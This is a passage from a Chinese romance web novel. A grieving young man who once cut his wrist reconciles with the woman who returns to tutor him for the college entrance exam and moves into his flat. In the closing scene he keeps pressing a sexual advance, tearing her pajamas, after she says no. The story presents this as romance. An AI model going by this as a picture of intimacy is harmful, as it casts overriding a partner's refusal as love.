山风太大,江池怕老人受凉,便推着轮椅加快速度往回走。饭点到了,林静姝体力不支,没法和大家一起用餐,江池只得将她抱回卧室。 薛芳让阿姨摆了一桌好菜,傅时坐在主位上举着酒杯招呼:“阿池,陪舅舅喝两杯,今晚就住下吧。” 江池看了眼高脚杯里的红酒:“最近喝不了,晚上得回去。” 傅时抿了口酒,目光暗下来:“还怨着舅舅呢?” 江池垂眸摆弄碗筷。 “没有。” 薛芳瞧着气氛微妙,从边上拿了只白瓷碗盛汤,端到江池面前,嘴角挂着笑试探:“小池啊,你家那些产业真不要了?跟舅妈说实话,是不是一时气话?” 傅时猛地剜了她一眼,她立刻柳眉倒竖地回瞪:“看什么看?我就问问,父母留的东西凭什么便宜外人?” 江池扯了扯嘴角,眼睑重重垂下,没接话。 见他这副沉默的样子,薛芳顿时来气,也不再装和气:“大学都没读,以后拿什么谋生?结婚买房的钱从哪儿来?难不成要舅舅替你掏?” “你给我闭嘴!” 傅时突然将汤勺砸向桌面,瓷碗应声翻倒,汤汁溅湿了薛芳的袖口。 “你发什么疯!” 薛芳尖叫着抽回手。 “你说得没错。” 江池往后一靠,整个人陷进椅背,笑了笑。 “我吃饱了,你们慢用。” 江池回到车内,开窗点了根烟。山下的灯火璀璨如银河倒悬,他盯着中控屏上的时间——晚八点,忽然想起这个点周念是否又坐在门口等。 银城的晚高峰还没散,车程少说要一小时,楼上那两个游手好闲的混混…… 他莫名焦躁,指尖无意识地敲打车窗。 没时间思考太久,他快速按下点火键,引擎却毫无反应,他又尝试几次,点火键按冒烟了都发动不了。 江池骂了句脏话,翻出手机给徐明打电话。 徐明接电话时正在酒吧和美女热聊,震动了好几下才懒洋洋地摸出手机。看清来电显示是江池,他立刻起身往门外走。 “什么事儿啊那么着急?” 江池捏灭烟头说:“快下雨了,去我家关窗户。” “什么?”徐明以为自己听错了,重复道:“关窗?” “嗯。” 徐明仰头往外走了两步,纵使夜色如墨,抬头仍能望见满天星子。 “你神经病吧,你看天气预报了吗?这天呢能” “让你关就关。”江池打断他,声音压得及低,“哪儿那么多废话。” “行行行!欠你的。”徐明无奈妥协:“我徐明这次要是再谈不上恋爱,我就跟你江池没完!” 江池:“” 徐明几乎是一路骂骂咧咧到的江池家。他踏进楼道亮灯的一瞬,不可思议地抬头看了眼,又疑惑地退回单元门前看门牌,确认无误才小跑上楼。 等他看到周念坐在江池门前翻着厚厚的文献时,一切都解释得通了。 徐明无语地叹了口气,扶着额,笑出了声。 周念听到笑声,猛然抬头,看清来人是徐明默默地舒了口气。她对他礼貌地微微一笑。 徐明没给什么好脸色,自顾自走上前,坐在她边上。 “周念。” “嗯?” 徐明看向她的眼睛,直言自己的困惑。 “你说你这个时候回来来找阿池干嘛?他现在什么都没有,情绪也不太好,你还图什么啊?” 周念顺着他的话直点头,点完反问他:“你怎么知道我不是图他人呢?” “你可拉倒吧。”徐明正好借机好好细数她的罪证:“口口声声说让他等一年,他等来了什么?等来了当众扒皮羞辱?就不说这些,你说给他织围巾,结果去商场买了条糊弄他。他呢,还自我安慰上的,买的也是心意,那表情,别提多委屈了。” 以前总在电视剧和小说里看到诸如此般的误会,现在发生在自己身上竟觉得如此荒诞,周念没解释围巾的事,只是无奈地扯了扯嘴角。 “我姑且认为你对江池是有那么点意思,但是你父母那儿呢?他妈跟你爸有这层关系在,你妈能同意?就算能同意,那你周念堂堂一个高材生,往后可能还要读硕读博,他江池一个高中毕业,你爸妈会认可吗?” “再者,也是最重要的一点,傅阿姨的死跟你脱不了关系吧。” 周念默默地听着,突然打断道:“你在江池面前也是这样分析的吗?” 徐明一时哑然,背后说人坏话固然不对,但自己说的都是实话,于是理直气壮道:“那又怎么样。” “没怎么样。”周念平静地看着他,看得徐明有点心虚,她又抿唇笑了笑,:“你都这样分析了,他都忘不了我,那你是不是太失败了?” 徐明气得想骂人,但他忍了,周念瞧他这副模样觉得好笑,笑了笑后,很郑重地说:“谢谢你啊,徐明。” 徐明:“谢我什么?” 周念:“谢谢你救了江池,也给我了一次机会。” ** 在单元楼下,徐明正刷着视频。屏幕里,猫耳少女跳着擦边舞,身姿摇曳。他手指不停,一次次点击屏幕点赞,刷了一会儿,还特意停下来打字评论:“猫娘今天美翻了。” 打完,抬头,不远处有个身影狂奔而来。 江池跑到他跟前,双手撑膝,喘了几口大气。 徐明关掉屏幕,语气里都是阴阳怪气:“怎么?跑那么快怕大雨把家里给淹了?” 江池懒得理睬他的揶揄,在楼下缓了口气,平复气息后转身踏进楼道。 “她走了。” 徐明见他身形一顿,继而补充道:“早让她走,她不走,说什么时 间到了自然会走。结果十一点一到,比上下班打卡都积极,转身人就没了。” 第57章 第57章谁不在乎? 实验结束是晚上八点多,陈丽提议大家去唱k放松,周念以家中有事为由婉拒了,看着她离开的背影,陈丽跟边上的另一个组员谢菲嘀咕道:“周念怎么每天都那么忙?” 谢菲耸肩:“那谁知道呢。” 周念赶到江池家楼下时,不远处迎面走来两个人,一高一矮,一胖一瘦,有点眼熟。周遭昏暗,周念眯起眼睛仔细打量了一番,看清模样后快速低下头朝反方向迈步。 江池把家里仅有的垃圾收拢,随后扭头去看挂钟。 这个点,周念应该快到了。 于是,他轻手轻脚打开门,目光习惯性扫向面前台阶,可惜照旧空空如也,他暗自叹了口气,准备下楼,这时,楼下传来脚步声。抬眼望去,那晚那两个混混正有说有笑地往上走,路过他时,还意味深长地对视了一眼。几秒后,上方飘来一个极轻的声音。 “那天那女的这两天怎么没碰到。” 江池原地皱了皱眉,没多理会,继续下楼。到了单元门口,一眼便瞧见周念在门口徘徊,脚步犹豫不定。他心下了然,原地伫立数秒后故意用垃圾袋剐蹭铁门。 “哐当”。 周念循声望来,见到是江池,想也没想默默跟了过来。 在离垃圾桶不过两三米的地方,江池立定站好,抬手随意地轻轻一抛,手中的垃圾便在空中划过一道利落的弧线,精准无误地落入桶内。 他原地掏出一根烟,动作娴熟地点燃。 这时,周念的声音不紧不慢地钻进他耳中:“戒烟吧。” 江池身形未动,只是缓缓偏过脸,侧脸的线条在烟雾缭绕中显得分明,却未曾看向周念。 他语气淡漠:“你以什么身份管我?” 周念迈着步子走上前,她微微仰头,目光执着地想要捕捉江池的视线。 “你想我以什么身份管你?” 江池垂眸,视线终于落在周念脸上,他的嘴角微微勾起似笑非笑,带着些许玩味与嘲讽,轻声说道:“周念,你会不会太把自己当回事了。” 周念默默深吸一口气,平复了下情绪,顺着他的话说道:“也对,是我高估自己了。从明天起,我不会再像前些天一样,没完没了地守在你门外了。危险不说,还轻贱自己。” 江池喉结不自觉地上下滚动,原本已经送到嘴边的烟,又缓缓地移开了。他压低声音,语气中带着一丝不易察觉的慌乱与恼意:“少拿这话威胁我,你以为我在乎?” “那你看着我的眼睛。” 周念毫不退缩,目光灼灼地盯着江池,待他的目光再次垂落,与自己对视时,周念一字一顿、郑重其事地问道,“你真的不想我来吗?你要是不想,我现在就走,以后都不会再来打扰你。” 江池有些不自在地挪开了视线,身体也随之半转过去。手中的烟,自那之后,便再也没有吸上一口。此刻的他,像是一个闹别扭的孩子,带着一丝赌气,抬起脚,不轻不重地踹在了垃圾桶上,随后转身,一言不发地朝着楼上走去。 两人一前一后,很快来到三楼门口。江池走到门前,却没有立刻开门进去。他在原地伫立,犹豫了片刻,当着周念的面,抬手将一枚钥匙轻轻放在了门框上。放好后,又从口袋里掏出另一枚钥匙,打开门走了进去。 他进门后,门没有关上,就那么大大敞着。 周念望着那扇敞开的门,嘴角微微一动似有若无地牵起一抹弧度。 等她进门,江池已经将自己关进房间了。 周念这次来得匆忙,一些重要数据还未来得及整理。她轻轻带上房门,坐到桌前,从包里拿出笔记本电脑,全神贯注地投入到数据整理工作中。 大半个小时后,周念终于将处理完的数据整合完毕,仔细检查一遍后,果断地发给了郑渊。 约莫过了五六分钟,手机屏幕突然亮起,郑渊的来电显示跃入眼帘。周念轻轻划开接听键,郑渊那低沉而富有磁性的声音瞬间在整个客厅里回荡开来。 “现在方便接电话吗?” “你说。” 周念一边回应,一边将手机稳稳地放在桌面上,手指轻点,打开了扬声器。 “周念,你看一下第三组” 隔着门缝,两人的对话丝丝缕缕地钻进了江池耳中,他莫名地烦躁,伸手就想去拿桌上的烟。霎时,脑海中突然浮现出刚刚和周念那不怎么愉快的对话,他的动作一滞,内心挣扎了会儿,最终还是默默地将烟盒塞了回去。 江池站起身,不紧不慢地走出房间,径直朝着厨房走去。路过周念身边时,看似不经意地微微侧头,余光不动声色地朝着桌上的手机瞥了一眼。 期间,周念都只目不转睛地盯着电脑和郑渊分析数据。 一杯水,江池整整喝了十分钟。 数据核对完毕,郑渊却没有挂断电话的意思,话题一转,关切地询问起周念近日的状况。 “你最近晚上走得都挺急,家里是有什么事吗?要是有难处,说不定我能帮上忙。” 周念下意识地抿了抿唇,语气中带着一丝歉意说道。 “不好意思,后面几天的收尾工作都交给我来做吧。” 电话那头传来一阵爽朗的笑声:“我可不是那个意思,就是单纯关心一下小学妹。” 江池闻言,没来由地从鼻腔里发出一声嗤笑。 周念听到笑声,猛地回头,朝着江池的方向狠狠瞪了一眼。 江池:“” 周念对着手机回复郑渊:“我真没什么事,谢谢你。明天开始,我会跟上大家的节奏,不会再早退了。” 郑渊赶忙解释。 “我真不是责怪你的意思。这样吧,明天是周末,咱们小组一起吃个晚饭,好好联络联络感情,怎么样?” 周念稍作犹豫说:“好。” 郑渊接着问:“你有什么推荐的吗?” 周念确认道:“饭店吗?” “嗯。” 周念想起上次和叶琳去的那家融合菜。 “城北有一家新开的融合菜餐厅,味道还挺不错的。” “那明天就暂定那边。” “好。” 挂断电话,周念又回头去看江池,直勾勾地盯着,看得江池不自在。 “给我倒杯水。” “” 江池嘴上没答应,手脚倒是勤快,弯身从橱柜取了个杯子,倒满冷水递到桌前。 有那么一秒,江池怀疑自己被人下蛊了,前一刻还嘴硬赶人走,后一刻就乖乖端茶倒水,听话得像个仆人。 周念接过水,笑眯眯地冲他道谢:“谢谢。” 江池用脚勾出椅子,坐在她对面落座,抱着臂,好整以暇地看她。待她抬眸对上他的眼睛才忽地闷笑一声。 “贵人事多,怪不得明天不来了,原来是忙着跟别人约会。” 周念神色平静,目光直直地迎上江池的双眼,语气里透着一丝不易觉察的挑衅。 “你又不在乎。” 头顶那盏吊灯散发着冷白色的光,直直落下,在江池脸上划出一道明暗界限,他微微低头,深邃的眼睛隐在暗处,看得周念莫名生出些寒意。 她躲开视线地一瞬,头顶的灭了,寂静的世界突然哗然,楼下有人愤愤抱怨。 “怎么突然停电啦?” “跳闸还是停电啊。” “大晚上的。” 屋内,浓稠的夜色如潮水般迅速蔓延,将一切都吞噬其中。对面江池的身影,此刻只剩下一个模糊的剪影,隐在黑暗里,宛如一座沉默的雕塑,纹丝不动。 她定了定神,尽量让自己的声音听起来平稳一些:“我得先走了。” 说着,她摸索着将电脑和资料一股脑儿地塞进包里,随后迅速站起身,朝着门口的方向走去。 她匆匆走到门前,手掌刚触碰到门把手,轻轻一拉,身后原本静谧的影子忽然动了,好似从沉睡中骤然惊醒的野兽,开始不安分地蠢蠢欲动。 微微开启的门缝再一次被合紧,江池的手掌稳稳撑在门上,手臂横在她耳边。 他低沉的声音从身后悠悠传来。 “谁不在乎?” 周念的心陡然间加速跳动,她无意识地屏住呼吸,只觉得自己被巨大而无形的阴影彻底笼罩。 江池伸出手臂,揽住周念的腰肢,一个轻巧却有力的动作,便将她整个身子扭转过来,面向自己。 他身躯微微前 倾,头颅低垂,以一种近乎侵略的姿态欺近。 “谁不在乎,嗯?” 周念默默地咽了口气,手脚都不知该如何摆放。 她开始后悔刚才挑衅江池。 他的喉结不自觉上下滚动,呼吸越发沉重,温热的气息仿若细密的雨点,急促且紊乱地喷洒在周念的脖颈处,激起她皮肤上一层细密的战栗。 周念佯装镇定:“是你要赶我走的。” “我赶你走,你就走?你什么时候那么听话了?” 暗中,他的目光紧紧锁住周念的双眼,似要从她眼眸中探寻出答案。 未等她答,江池单手紧紧箍住她的腰,将她用力地拉近自己。暗中,他感受到怀中人轻微的颤抖,那些刻意筑起的高墙在黑暗里轰然倒塌,还未等周念反应过来,那个强势而激进的吻就已经覆在她的唇间,他的唇重重地压上她的,急切地索取着。 那些夜里辗转反侧的思念如同那座别墅前肆意疯长的野草。他等了太久,甚至在割腕后的一段走马灯前,最后定格的画面居然是周念。他试图将所有的思念,愤恨都贯彻在这个吻里。 江池强势地霸占着所有气息,周念被他吻得喘不过气。就在她理智殆尽的最后瞬间,江池停滞了,她的脸颊上淌过一滴眼泪,然后是第二滴,第三滴。 周念深呼吸,刻意调整气息,她知道,傅研的死终究是横在他们之间无法逾越的鸿沟。她用手帮江池擦眼泪,擦着擦着,自己的眼睛也跟着温热了。 江池将她紧紧拥在怀里,轻轻地吻了吻她的头发:“对不起。” 暗中,传来她静如止水的回复:“没关系。” 黑夜将沉默无止境的拉长,周念轻轻地挣脱开他的怀抱。 “我得走了。” “嗯。” 等她回头,江池又拉住她的手腕。 “明天还来吗?” “那你想我来吗?我要你说实话。” “想。” “那我就来。” 江池放开她的手,先她一步打开门。周念走在前头,他尾随其后。 “我开车送你。” 周念没拒绝。 车上两人沉默了一路,直到车子行驶到周念家门口,江池才恢复到以往的口吻。 “明天还去跟人家约会吗?” 周念故意逗他:“你管不着吧。” 江池无奈笑笑:“你看我管不管得着。” 周念是知道他脾气的,只好老实交代:“那我不去了。” 第58章 第58章江池,我会永远永远站在…… 周念很久没有上阁楼了,上一次进阁楼还是三年前的事。 清晨,阳光从斜顶窗户的缝隙里漏进来,在凝滞的空气里画出几道金色的河,无数尘埃在光束中浮沉。 她跨过横七竖八的杂物,走到角落——高中毕业后舍不得扔课本,便将它们堆放在这里。若不是因为江池,或许多年后都想不起家里还有这堆东西。 她用大半个小时的时间将有用的书籍和笔记统统整理出来,拿绳子捆成厚厚一摞。 叶琳下车瞧见那摞厚厚的书本时,下意识发出了灵魂质问:“你要去卖废品啊?” 周念懒得理她,绕过她身侧,来到车子后备箱:“后备箱开一下。” 叶琳虽然费解但很配合的按动钥匙,她把边上的行李箱一同拉至后备箱:“你要去哪儿啊?大包小包的,搬家?” “嗯。” “搬去哪里啊?” “江池家。” 周念没打算瞒她:“先别告诉我爸妈,我跟他们说睡宿舍。” 叶琳原地蒙圈:“你胆子真大啊!你妈要是知道这事,江池家屋顶都得给她掀了。” 感慨之余,八卦心起。 叶琳凑到周念耳边,眸光闪着好奇:“你俩睡了?江池那方面怎么样?你们和谐吗?” 周念无言以对,叶琳继而追问:“他看起来就是很会的男人。” “……”周念反调侃起她:“你们家体制男不行吗?” 叶琳一噎,没下文了。 周念自顾自上车,拉下车窗:“别发呆了,开车吧。” 周念将大包小包扔在单元楼门口,随即打发走了叶琳,等车驶远又给江池打了电话。 “醒了吗?下来帮忙。” 是不容置喙的口吻,江池接到电话,下楼的速度比以往快了许多。当他看到一地课本时表情和叶琳刚才如出一辙。 “我不记得我开过废品回收。” 周念郑重地纠正道:“这些将成为你未来宝贵的财富!” 江池走到她面前,居高临下地歪了歪头。 “周老师,您什么意思?” 周念双手提起那摞书,在江池面前沉沉一放。 “你都叫我周老师了,我还能有什么意思,好好学习,天天向上。” 江池漫不经心地点了点头,眸光掠过那个超大号行李箱。 “这也是我的财富?” 周念抿了抿唇,敛起鬓发:“从今天开始,我要住进来。” “住进来?”江池的嘴角闪过一丝不怀好意的笑容,目光也变得晦涩难懂:“我这儿只有一张床。” 周念避开他炽烈的目光,回身去拉行李箱。 “你放心,床我已经买了,一会儿就能送来。” 江池耸了耸肩,难掩小失落,他一手拉过箱子,一手提起课本试了试重量。然后对周念说:“你先上去,这些太重,用不着你。” 周念乖乖点头,转身上楼。 两人一前一后上了楼,周念伫立在三楼门前,仰头看向门框上的钥匙,显然以她的身高就算是垫脚或是起跳都够不到。江池松开拉杆箱伸手把钥匙取下来,递过去。 “想清楚了?住进来。” 周念接过钥匙,仰头去看他。 “我做的每个决定都是深思熟虑的结果。” 说完,拿那枚钥匙试着开门。 江池将周念的行李放在玄关附近,轻轻合上门,在周念转身的一瞬扣住她的手腕,把她拽到自己跟前。 他双手握紧周念的手腕,低头去够她的视线。 “你爸妈知道吗?” “还不知道。”周念镇定地看着他的眼睛:“你害怕了?” 江池滚了滚喉结,并不否认:“嗯。” “怕什么?怕他们不同意,会阻止?” 多年前的那把钝刀,再一次割向自己,江池深深提了口气,目光渐渐垂落到地上,他点头说:“是。” “我只住两个月,两个月后,等项目结束我就回北城。” 这次,轮到周念向前一步,去触碰他的暗淡无光的眼睛。 “我希望你能参加今年的高考,等考完你再来找我。到了那个时候,我希望站在我面前的不是昏昏沉沉、无所事事的江池,而是一个干干净净,阳光爽朗的江池。” “三年前,我去游泳馆找你,看到你就站在路边台阶上,一脸迷茫地抽烟,那时我就想,你不应该这样,你不应该只是这样。你有更宽更广的路要走,你懂我的意思吗?你现在害怕我父母,除你母亲的那层关系外,无非就是因为不自信。你的不自信源于你永远拘泥在原地,你看着我一步步走远,越来越远,所以你害怕。” “江池,等你向上爬的时候,没有人会看不起你,也没有资格看不起你。” 她凝视着江池眼底的闪躲,温柔而坚定地说。 “江池,我会永远永远站在你这边。” 江池喉间蓦地哽住,就在眼睛发痒发烫之际,他忽然低头埋进她肩窝,双臂紧紧收拢将人箍进怀中。 “嗯。好。我听你的。” 两个人简单收拾了下,饭点,江池在厨房煮些速食,周念在门口整理书籍,期间叶琳 和方妙在群里发了上百条信息。无一例外都是在八卦她同居的事。周念盯着屏幕想解释,想了半天无从说起,正要放下手机,屏幕上跳出一串陌生号码。 周念按下接通件:“喂,你好。” 对面是个上了年纪的男人:“请问你是不是定了我们家的床,实在不好意思,这款床今天缺货,明天来行吗?” 周念默了秒,转头望了眼江池的背影,回头时清浅地短叹一声。 “好,那明天请务必要送来。” “没问题的,多谢谅解。” 话音未落,江池端着一份煎包从厨房走出来,视线落在周念脸上。 “谁的电话?” 周念眸光一落,只说:“学姐,说是有点事晚点跟我讨论。” 说完,江池就不再追问了。 吃完饭,周念给江池列了个清单,要求他去超市采买日常用品,顺便买点菜把冰箱塞塞满。江池接过清单,出门时顿了顿,总觉得说不上来的古怪。 他这样一个反骨的人,怎么周念说什么,自己就做什么? 他试图为自己卑微的处境找补一下,周念见他还不走,眼睛一瞪,脖子一歪问道:“有事吗?” 江池莫名地闷笑一声说:“没了。” 江池拎着塑料袋回家时,周念已经睡着了,小小一个蜷在沙发里,发顶堪堪露出他那件黑色外套,布料随着呼吸轻轻起伏,像片被风掀动的鸦羽。 他轻手轻脚将东西拎至厨房,回房间的路上又朝沙发望了眼。他走进房间,走到床头,拎起被子一角闻了闻,一股淡淡的烟味,他又拿起枕头闻了闻,还是烟味。 他将被子枕头连同被单整套换掉,新被褥没有晒过,他拽起一角闻,所幸没有霉味。 江池回到沙发前,掀开外衣,毫不费力地将周念横抱起来,周念实在是困,微微张了张眼看到江池又安心地合上眼睛。 他把人抱上床,掖好被子,自己则坐在床头一声不吭地看着,看久了又忍不住伸手撩拨她额前的碎发。 他垂着眼眸,安静地凝望那张睡熟的脸,看久了竟觉得面前的一切都不真实,更像是他临死前幻想的一场梦。 周念在朦胧中醒来,周身被温热的重量包裹。她刚一动弹,颈侧传来的呼吸声陡然加重。她侧身看着面前这张沉睡的脸,回想起来从前,都不敢仔细地端详他的脸,就怕自己一时鬼迷心窍陷得太深。可谁成想,没好好看过,照样深陷其中。 从前听人说过,爱是自由意识的沉沦,那时不以为然,而今,回旋镖却精准地扎向自己。 思绪刚发散开,江池就醒了,醒来看到周念不加掩饰地目光,忍不住倾身过去在她唇上轻轻一触。 在她愣怔的一瞬,漫不经心地戏谑。 “你的床呢?等了一天了,也没见来。” “”周念:“没货了,又不是我不让他来。” 江池笑笑:“真没货还是假没货?” 周念肯定道:“真没货。” 某人鼻腔轻嗤一声:“那谁知道,无凭无据的。” 周念顿了顿,被他这副表情逗得‘咯咯’直乐。 等安静下来,四目相对像是有好多话却不知从何说起,江池用手轻抚过她的脸颊。 “周念,你骗我骗得好惨。” “对不起。” “这些年,有没有想过我?” “如果我不想你,怎么会在听到你消息的第一天就决定要回来。” 周念忽然伸手去拽他的袖口。 “我想看看那道疤痕。” 江池稍稍使力,没让她轻易得逞:“没什么好看的。” 说完,看到周念骤然变红的眼睛,又无奈地叹了声,手一伸,袖口落下,那条狰狞的疤痕赤裸裸地暴露在空气里。 “吓人吧。” 周念的眼泪几乎是瞬间落下的,从脸颊顺着耳廓打湿在枕头上,她轻轻地说:“很痛吧。” “好好地哭什么,人又没死。” 江池笑着帮她擦眼泪,擦着擦着,心里莫名难受。 “还好没死,不然就看不到你为我哭唧唧的样子了。” 第59章 第59章不认识,你心…… 窗外天光暗淡,夜风搅起叶浪,婆娑声透过窗户缝隙丝丝缕缕地传进屋内。 周念坐起身,将凌乱的头发用头绳重新束好。她双脚尚未触地,腰际就被一只有力的手揽回床头。 她小声嗔怪:“江池?” 江池盘腿坐在床上,有一下没一下撩拨她的衣角,看她的眼神不甚清白,看得她混不自在。 周念学他的样子,盘坐在床上,绷紧脸蛋,浅皱眉头,认真道。 “江同学,周老师是来督促你学习的,请你端正态度。” 江池手肘顶着大腿拖着腮,仍是一副玩世不恭的模样。 “周老师那么敬业,我是不是应该交点学费?” 周念下意识地咽了口气,躲开面前那道炙热的目光,看向窗外,半晌回过头来,江池还是那副样子,似乎执意要个回答。 “你的成绩就是老师最好的回报。” 江池继续逗她:“那怎么够?您那么幸苦,我也得使点力吧。” “” 房门外一阵‘卡擦’声,是钥匙转动锁孔的声音。 屋内两人默契地对了眼,江池收敛起那副漫不经心的散漫样,下床后,摸了摸周念的头发安抚道。 “应该是阿明他们。” 周念意图下床,发现鞋子还在门外。 江池用被子掩住她的脚。 “我帮你拿。” 徐明领着三五个人闹哄哄地进了门。 “阿池,你们家楼下那家烧烤真热闹啊,等了大半个小时才买了这堆东西。” “就是,早知道点外卖了。” “吃日料也行。” 江池‘嗯’了声算是回应,只见他走到沙发前,弯腰捡起一双女士拖鞋。宋佳月眼尖,看拖鞋的尺寸和款式就猜到这鞋应该是周念的。 回房间时,江池停下来,问了句。 “你们怎么突然来了?” 宋佳月没好气地翻了个白眼,语气刻薄:“看看你死没死。” 江池冷笑一声:“让你失望了。” 说完,径直回了房间。 徐明瞧见两人不对付,顶着一头雾水反问宋佳月:“怎么啦?火气那么大。” 宋佳月瞥了眼玄关的大箱子,视线又落向江池房间。 “周念来了。” 一行人脸色登时难看起来。 穿完鞋,周念去浴室整了整头发和衣服,江池就虚靠在门框上看她心不在焉地动作。 “我记得有些东西没带过来,我现在回家去取。” 江池握住她的手臂,低下头问,语气很轻:“现在轮到你怕了?” “不是怕。”周念提了口气,口吻中带着点无奈:“是不想扫大家的兴。” 江池的手顺着她的手臂垂落,牵住她的手。 “这是我家,扫不扫兴我说了算,没人敢为难你,出去吧。” 江池是牵住周念的手出的门,换做是别人,早应该起哄和玩笑,可她偏偏就是周念。几个人尴尬地站也不是,坐也不是,都后悔吃饱了撑着来这里给自己添堵。 倒是徐明像什么都没发生,自然地招呼大家坐下:“快快快,张罗起来,你们都不饿吗,我都快饿死了。” 几个人围着一张桌子,各怀心事地吃完了饭,除了徐明,大家都借口提前离开。 徐明有点心疼地看着桌上剩下的大堆烤串,随后偏头看向周念。 “还吃吗?不吃我打包了。” 周念摇摇头,起身道:“我去给你拿个干净的盒子。” “不用。”他从中挑出几根空竹签,用原先的泡沫盒包住,捆进塑料袋,等他一系列动作做完,江池才说:“阿明,我有话跟你说。” 徐明扬了扬下巴,冲着阳台说道:“点一根?” 江池眼尾不经意扫过周念,但看她没反对,随后冲徐明点了点头。 阳台要经过江池的卧室,徐明经过卧室时,目光不自觉被那张褶皱的床单吸引,随即挑眉看向江池,意味不明地笑了笑。 冬天的夜风,阴冷刺骨无孔不入,走到阳台,徐明下意识打了个冷颤。 两人各自点了根烟,江池的烟夹在指间,火星在夜风里明明灭灭。 徐明朝屋 内努努嘴:“看这架势,她是搬过来了?” “嗯。”江池伸手,手指勾起:“钥匙还我。” “嘶。”徐明登时郁结于胸:“你还是不是男人,兄弟是手足,女人才是衣服!” 江池反呛他:“你都三头六臂裸奔二十几年了,少说点这种话吧。” 徐明想反驳,又怕一语成谶真找不到对象,转而言他。 “得了,劝不住你。”他吸了口烟:“不过周念什么打算,她迟早得去北城吧,不会又是耍你两个月就走了吧。” 江池的烟燃到一半,才衔进嘴里,吸一口。 “她让我参加高考。” 徐明脱口而出:“好事!” 徐明走后,屋内彻底清净。 周念拿出笔记本电脑,打算先忙一阵自己的事情再帮江池熟悉课本。她把高一至高三的数学课本以及笔记本挑拣出来,放在桌上,又从中选了高一数学和对应的笔记本推至江池面前。 “趁我还在银城,从最难的开始,你先自己熟悉一下。” 江池抵着椅背,随手翻了几页课本,除了书本的内容全是周念密密麻麻的笔记,她笔记工整,字迹隽秀,还会在原基础上发散思维,写下多重解法。 江池只粗粗扫了一眼,目光便游移到她脸上:“周老师,这是数学书还是催眠书。” 周念目不转睛地盯着电脑屏幕上的文献资料,嘴里默念完一段文字,视线才慢慢转向他,她不言不语,用沉默逼他妥协。 江同学无奈地点了点头,继续翻看书本。他的基础和记忆都还不错,看了原题的解析配合着周念的笔记很快就能理解题意。但耐心有限,看了半个小时,眼睛开始发酸。他用力眨了眨眼,开始去翻周念的笔记本。 笔记本随意一翻,入眼的话使他陡然一顿。 ——我要离开银城!!! 后面跟着三个标粗的感叹号。 江池侧眸望向周念,不明白她执意离开的原因,却清楚是什么让曾毅然决然离去的她,再度回到这个厌恶之地。 没能重新进入状态,江池又百无聊赖地翻动起桌上其他的笔记本,里面全是周念一笔一笔记录的心血,是这些数字和公式铺就了一条通往首府大学的路。 就在他打算合上笔记本时,其中两页的内容让他倏然一怔。 整整两页纸被一个大大的叉覆盖,间隙里密密麻麻地写着“江池”二字,在这两个字迹里穿插着“忘掉”二字。一下子让这段近乎疯狂的思念彻底袒露在江池面前。 遗憾,惊喜,庆幸,多种情绪在心头绕成一股结。江池嘴角勾起一抹好看的弧度,他平复了会儿心情,将笔记本轻轻扔在周念面前。 “周老师,解释一下,这是什么?” 视线从电脑屏幕移向笔记本,周念短暂一愣,只说:“江同学,不认识字吗?” 江池摇头:“不认识,你心上人啊?” 周念一秒破功笑了出来。 江池继续追问:“说啊,说来我听听,万一认识呢。” 周念没再理他,怕自己当时在笔记本上胡乱写了些什么,于是放下电脑,一本一本地翻看当时的笔记,所幸,只留了这么两页。 两人用了一个晚上时间来梳理高一数学上学期的知识点,江池不是坐得住的人,偶尔会开小差,偶尔岔开话题逗逗周念,都被周念威胁着回归正题。 梳理完已经是凌晨,时针走过12点。 周念让江池继续消化,自己则从箱子里挑出睡衣和洗漱用品准备洗漱,然而客厅的厕所里并没有淋浴设备。 江池余光瞥见她的无措:“洗澡去我房间。” 周念抱着睡衣僵在原地,心想每次洗澡都要去江池房间未免有些麻烦。 江池看出她心中所想:“以后你住我房间,我去边上住。” 说完,不知道想到什么,没由来地闷笑一声,视线黏在周念脸上。 “一起住也不是不行。” 周念权当没听见,低着脑袋,走向江池房间。她轻轻地合上门,稍作犹豫后,‘啪哒’一声上了锁。 门外某人听到声音,下意识看了过来,眉峰骤然压下一片阴翳。 半个小时后,周念对着镜子扯了扯珊瑚绒睡衣的领口,真丝睡裙被裹得严严实实,活像只裹着棉花的蚕蛹。吹风机的嗡鸣渐止,她走到门边,轻轻地扭动门锁,簧片轻响的瞬间,门板突然被一股力道往前推。 门缝里挤进一只骨节分明的手,熟稔地掠过墙面,“啪”地掐灭了室内灯光。屋内遁入黑暗,只有客厅的暖光从门缝漏成一道薄纱。 江池的影子先挤进门缝。 他慢慢推开门,硬逼着她往后退。那双惯常散漫的眼睛此刻亮得惊人,眼底翻涌的暗流混着呼吸间的灼热,将她困在门与墙的夹角里。 周念无意识地提了口气。 江池走进门,反手将门一推,将本就所剩无几地光束隔绝在外。 暗中,有他漫不经心地质问。 “为什么上锁?” 周念摸着墙壁侧过身,慢慢后退,张了张嘴又不是该如何解释。 “防着我呢?” 周念脱口而出:“没有。” 那抹剪影,不断逼近。 “没有吗?” 周念底气不足,声音渐渐小下去。 “没有。” 退至最后,周念后腰轻轻磕在椅背上,椅腿在地面拖出刺耳的锐响。她踉跄着扶住桌沿,这才惊觉椅背早已抵死身后的书桌,无路可退了。 可那抹剪影已经完完全全将自己笼罩在身下。 “江池!” 话音未落,腰际被人轻轻一托,周念突然失重,随即落到实处,桌面的阴冷隔着真丝布料蔓延至大腿。江池的影子随之压下来,双手撑在她身侧的桌面,将她整个禁锢在自己的地界。 他低垂头颅,尝试平视她的眼睛。 “你住进来之前就没想过吗?” 周念嗅到危险的气息,双手一撑蹬桌要逃,惯性却撞进他胸膛,又被揽腰按回原处,像只投怀的蝶跌进更深的潮热的桎梏。 “江池,你放我下来!” 江池自然不会理会她的要求,而是用手扯了扯她的珊瑚绒睡衣的纽扣。 “谁睡觉穿那么多?” 周念下意识握住纽扣,放低了语气。 “我们还没到这一步。” “没到哪一步?你以为我是圣人,朝思暮想的女人在我面前晃悠,指望我清心寡欲?” “你听我说” 尾音未散,只觉后颈被温热的手掌托住,江池的吻便压了下来。攥着纽扣的手被他擒住扯开,珊瑚绒睡衣在他掌下如轻纱薄羽发出细碎的撕裂声,三颗纽扣接连崩落,顺着桌角滚进阴影里。 他舌尖碾过她紧咬的贝齿,手掌却反常地轻,沿着她绷紧的脊背一寸寸往上,像在安抚一只炸毛的小兽。 江池的呼吸愈发沉重,周念忽然觉得太阳穴突突地跳。某个瞬间,只觉得整个人被拦腰抱起,臂弯紧实的肌肉硌着腰侧,像座发烫的山。等她回过神,身体已经陷进褶皱的床单里。 